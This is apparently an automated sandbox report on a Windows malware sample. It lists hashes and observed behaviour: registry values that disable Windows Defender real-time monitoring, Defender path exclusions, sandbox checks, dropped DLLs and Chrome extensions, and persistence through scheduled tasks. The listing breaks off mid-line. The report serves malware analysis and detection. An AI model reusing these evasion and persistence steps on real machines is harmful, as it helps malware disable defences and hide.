Analysis
-
max time kernel
130s -
max time network
134s -
platform
windows7_x64 -
resource
win7-20231023-en -
resource tags
arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system -
submitted
07-12-2023 18:34
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20231023-en
General
-
Target
file.exe
-
Size
7.3MB
-
MD5
ff788972ab8effb3188f96fb156c0845
-
SHA1
8d2e4abaa7b4b642e9b2de82c793009e40201709
-
SHA256
a62731d4252f3bc01be75a4da0820cab235996110a66752102e5971929dfe814
-
SHA512
753e7f7bce6eb06193b43b781c6ca9764b096a3bfaf750bd981a40b9c67452f58f7d274bea432350156b8988fb65f2a1366110e2d6cda9364d2f11799971aa81
-
SSDEEP
196608:91OvTaIfLM6pcEUYYoqsA7oLNPsUs1diN91uDys4Qq:3OrUiVVqsIIagZuDU
Malware Config
Signatures
-
Processes:
reg.exereg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe -
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ycMZCyUlVfbU2 = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\HwCJYAoGHZGEGAfxF = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\sUklQelueKqzsVVB = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\sUklQelueKqzsVVB = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\HwCJYAoGHZGEGAfxF = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\icEyDogKU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\yczsUHdtPuMxC = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\yczsUHdtPuMxC = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ycMZCyUlVfbU2 = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\szdKxxrFMiVXCdXj = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\szdKxxrFMiVXCdXj = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\PhaWElAePoHhBdUTFeR = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bJazgiTXFJUn = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bJazgiTXFJUn = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\szdKxxrFMiVXCdXj = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\PhaWElAePoHhBdUTFeR = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\icEyDogKU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\szdKxxrFMiVXCdXj = "0" reg.exe -
Blocklisted process makes network request 1 IoCs
Processes:
rundll32.exeflow pid process 24 2776 rundll32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Install.exerundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
yXZKGyt.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Control Panel\International\Geo\Nation yXZKGyt.exe -
Executes dropped EXE 4 IoCs
Processes:
Install.exeInstall.exexlzjQrI.exeyXZKGyt.exepid process 1404 Install.exe 2952 Install.exe 2792 xlzjQrI.exe 1728 yXZKGyt.exe -
Loads dropped DLL 12 IoCs
Processes:
file.exeInstall.exeInstall.exerundll32.exepid process 2868 file.exe 1404 Install.exe 1404 Install.exe 1404 Install.exe 1404 Install.exe 2952 Install.exe 2952 Install.exe 2952 Install.exe 2776 rundll32.exe 2776 rundll32.exe 2776 rundll32.exe 2776 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
Processes:
yXZKGyt.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json yXZKGyt.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json yXZKGyt.exe -
Drops file in System32 directory 21 IoCs
Processes:
xlzjQrI.exepowershell.EXEyXZKGyt.exeInstall.exepowershell.EXEpowershell.EXErundll32.exepowershell.EXEdescription ioc process File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol xlzjQrI.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA yXZKGyt.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol yXZKGyt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_5B1817C873771E7928FB0BB0A329932B yXZKGyt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_FB07F06F91B9FC3861EF6AA1C17C17C7 yXZKGyt.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini xlzjQrI.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol xlzjQrI.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA yXZKGyt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_FB07F06F91B9FC3861EF6AA1C17C17C7 yXZKGyt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_8FF5BE4204C5F704E3914BEF4952C317 yXZKGyt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat rundll32.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat yXZKGyt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA yXZKGyt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA yXZKGyt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_8FF5BE4204C5F704E3914BEF4952C317 yXZKGyt.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_5B1817C873771E7928FB0BB0A329932B yXZKGyt.exe -
Drops file in Program Files directory 13 IoCs
Processes:
yXZKGyt.exedescription ioc process File created C:\Program Files (x86)\PhaWElAePoHhBdUTFeR\DmCgbsJ.dll yXZKGyt.exe File created C:\Program Files (x86)\icEyDogKU\aSHhDP.dll yXZKGyt.exe File created C:\Program Files (x86)\yczsUHdtPuMxC\SRjRWLu.xml yXZKGyt.exe File created C:\Program Files (x86)\PhaWElAePoHhBdUTFeR\yjdnzpu.xml yXZKGyt.exe File created C:\Program Files (x86)\ycMZCyUlVfbU2\VaXSIHihNDMPG.dll yXZKGyt.exe File created C:\Program Files (x86)\ycMZCyUlVfbU2\XwZSklr.xml yXZKGyt.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak yXZKGyt.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi yXZKGyt.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja yXZKGyt.exe File created C:\Program Files (x86)\icEyDogKU\oAJFWvv.xml yXZKGyt.exe File created C:\Program Files (x86)\yczsUHdtPuMxC\PUulpEI.dll yXZKGyt.exe File created C:\Program Files (x86)\bJazgiTXFJUn\BazgZkg.dll yXZKGyt.exe File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi yXZKGyt.exe -
Drops file in Windows directory 4 IoCs
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exedescription ioc process File created C:\Windows\Tasks\NplADKkCBziqQHN.job schtasks.exe File created C:\Windows\Tasks\yWyixlOEsLxsTwFTt.job schtasks.exe File created C:\Windows\Tasks\bQrKcOXclPyMmQgfTY.job schtasks.exe File created C:\Windows\Tasks\NDmpcgCvNfyvVRxht.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 13 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 2604 schtasks.exe 668 schtasks.exe 2060 schtasks.exe 1188 schtasks.exe 2624 schtasks.exe 2576 schtasks.exe 2612 schtasks.exe 1460 schtasks.exe 2040 schtasks.exe 2436 schtasks.exe 2828 schtasks.exe 2572 schtasks.exe 2480 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
Processes:
rundll32.exeInstall.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
yXZKGyt.exerundll32.exewscript.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0075000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings yXZKGyt.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad yXZKGyt.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fa-c5-43-df-70-ce\WpadDecisionReason = "1" yXZKGyt.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 yXZKGyt.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software wscript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft wscript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host wscript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fa-c5-43-df-70-ce yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings wscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" wscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F2B9A436-C2D1-4223-9629-3526A229E203}\WpadDecision = "0" yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ wscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs yXZKGyt.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F2B9A436-C2D1-4223-9629-3526A229E203}\fa-c5-43-df-70-ce rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings wscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fa-c5-43-df-70-ce\WpadDecisionReason = "1" rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix yXZKGyt.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F2B9A436-C2D1-4223-9629-3526A229E203}\fa-c5-43-df-70-ce yXZKGyt.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fa-c5-43-df-70-ce\WpadDecisionTime = 607a233e3c29da01 yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust yXZKGyt.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0075000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fa-c5-43-df-70-ce rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F2B9A436-C2D1-4223-9629-3526A229E203}\WpadDecisionReason = "1" yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F2B9A436-C2D1-4223-9629-3526A229E203} yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA yXZKGyt.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs yXZKGyt.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fa-c5-43-df-70-ce\WpadDecisionTime = 607a233e3c29da01 rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs yXZKGyt.exe -
Suspicious behavior: EnumeratesProcesses 29 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXEyXZKGyt.exepid process 684 powershell.EXE 684 powershell.EXE 684 powershell.EXE 2080 powershell.EXE 2080 powershell.EXE 2080 powershell.EXE 2144 powershell.EXE 2144 powershell.EXE 2144 powershell.EXE 2236 powershell.EXE 2236 powershell.EXE 2236 powershell.EXE 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe 1728 yXZKGyt.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXEdescription pid process Token: SeDebugPrivilege 684 powershell.EXE Token: SeDebugPrivilege 2080 powershell.EXE Token: SeDebugPrivilege 2144 powershell.EXE Token: SeDebugPrivilege 2236 powershell.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exedescription pid process target process PID 2868 wrote to memory of 1404 2868 file.exe Install.exe PID 2868 wrote to memory of 1404 2868 file.exe Install.exe PID 2868 wrote to memory of 1404 2868 file.exe Install.exe PID 2868 wrote to memory of 1404 2868 file.exe Install.exe PID 2868 wrote to memory of 1404 2868 file.exe Install.exe PID 2868 wrote to memory of 1404 2868 file.exe Install.exe PID 2868 wrote to memory of 1404 2868 file.exe Install.exe PID 1404 wrote to memory of 2952 1404 Install.exe Install.exe PID 1404 wrote to memory of 2952 1404 Install.exe Install.exe PID 1404 wrote to memory of 2952 1404 Install.exe Install.exe PID 1404 wrote to memory of 2952 1404 Install.exe Install.exe PID 1404 wrote to memory of 2952 1404 Install.exe Install.exe PID 1404 wrote to memory of 2952 1404 Install.exe Install.exe PID 1404 wrote to memory of 2952 1404 Install.exe Install.exe PID 2952 wrote to memory of 2980 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2980 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2980 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2980 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2980 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2980 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2980 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2656 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2656 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2656 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2656 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2656 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2656 2952 Install.exe forfiles.exe PID 2952 wrote to memory of 2656 2952 Install.exe forfiles.exe PID 2656 wrote to memory of 2752 2656 forfiles.exe cmd.exe PID 2656 wrote to memory of 2752 2656 forfiles.exe cmd.exe PID 2656 wrote to memory of 2752 2656 forfiles.exe cmd.exe PID 2656 wrote to memory of 2752 2656 forfiles.exe cmd.exe PID 2656 wrote to memory of 2752 2656 forfiles.exe cmd.exe PID 2656 wrote to memory of 2752 2656 forfiles.exe cmd.exe PID 2656 wrote to memory of 2752 2656 forfiles.exe cmd.exe PID 2980 wrote to memory of 2520 2980 forfiles.exe cmd.exe PID 2980 wrote to memory of 2520 2980 forfiles.exe cmd.exe PID 2980 wrote to memory of 2520 2980 forfiles.exe cmd.exe PID 2980 wrote to memory of 2520 2980 forfiles.exe cmd.exe PID 2980 wrote to memory of 2520 2980 forfiles.exe cmd.exe PID 